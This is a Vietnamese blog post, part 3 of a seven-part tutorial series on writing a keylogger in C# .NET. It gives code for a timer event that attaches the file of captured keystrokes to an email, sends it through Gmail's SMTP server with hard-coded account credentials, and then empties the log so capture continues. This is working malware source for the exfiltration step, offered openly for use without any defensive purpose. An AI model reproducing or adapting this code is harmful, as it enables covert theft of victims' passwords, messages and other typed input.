Thứ Ba, 2 tháng 2, 2010

// // Leave a Comment

Key Logger C# .NET - Got Mail

Nhận thông điệp được gửi tới địa chỉ mail của bạn.

Trong phương thức main() của chương trình (bạn sẽ xem xét nó sau) giờ chúng ta sẽ khai báo một bộ đếm giờ (timer). Khi mà timer được hẹn giờ, OnTimeEvent sẽ được kích hoạt. Ứng dụng sẽ thử gửi thông điệp kèm theo tập tin có chứa các mã phím.

public static void OnTimedEvent(object source, EventArgs e)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message

msg.To.Add("username@gmail.com");
msg.To.Add("another.optional.address.to.send.to@domain.com");
msg.From = new MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8);
msg.Subject = "whatever.you.want.to.be.in.the.message.subject";
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "whatever.you.want.to.be.in.the.message.body";
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;
Theo thứ tự để gửi thông điệp, chúng ta cần phải sử dụng một máy chủ SMTP (Simple Mail Transfer Protocol). Trong project, chúng ta đang sử dụng máy chủ SMTP của Gmail vì nó miễn phí. Chỉ cần thay thế "username@gmail.com" với địa chỉ gmail của chính bạn và "gmail.password" tương ứng với mật khẩu của tài khoản. Việc này cần thiết cho việc xác thực.

SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
client.Credentials = new System.Net.NetworkCredential("username@gmail.com", "gmailpassword");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Đó là thời gian để đính kèm tập tin vào tin nhắn. Như bạn biết, "appstart.path" đại diện cho vị trí của tập tin.

Attachment data = new Attachment(appstart.path);
msg.Attachments.Add(data);

Chúng ta sẽ dùng khối lệnh try-catch: chúng ta sẽ gửi thông nhắn, nhưng nếu cái gì đó bị sai, chúng ta có thể xử lý được các trường hợp ngoại lệ. Để có thể ghi được các yếu tố đầu vào trong tập tin, chúng ta phải đảm bảo rằng tập tin không được sử dụng sau khi được gửi đi. Đó là lý do bạn thấy "data.Dispose()";

Nếu có một vấn đề trong khi gửi tin nhắn, biến "failed" của ta sẽ chuyển giá trị thành một và tập tin sẽ không bị xoá hay làm rỗng. Nếu không có vấn đề gì, "failed" vẫn là 0 và tập tin sẽ được làm rỗng đi để lưu trữ cho các phím tiếp theo. Đừng quên đặt lại cho "failed" là 0, do đó quá trình này có thể được lặp đi lặp lại trong thời gian kế tiếp mỗi khi OnTimeEvent được gọi.

        try
{
client.Send(msg);
failed = 0;
}
catch
{
data.Dispose();
failed = 1;
}
data.Dispose();

if (failed == 0)
File.WriteAllText(appstart.path, ""); //empties the file

failed = 0;
} //end of the OnTimedEvent method
}//end of the appstart class
*Lưu ý: bạn có thể tư duy logic để ghép lại được các khối mã lệnh lại với nhau, chứ không từ đầu đến cuối chẳng biết chúng ta đang ở quãng nào :D.

Phần 1: Creating the Project
Phần 2: Running the Key Logger
Phần 3: Got Mail
Phần 4: Intercepting Keystrokes
Phần 5: The HookCallback Method
Phần 6: API Methods
Phần 7: Possible Errors

0 comments: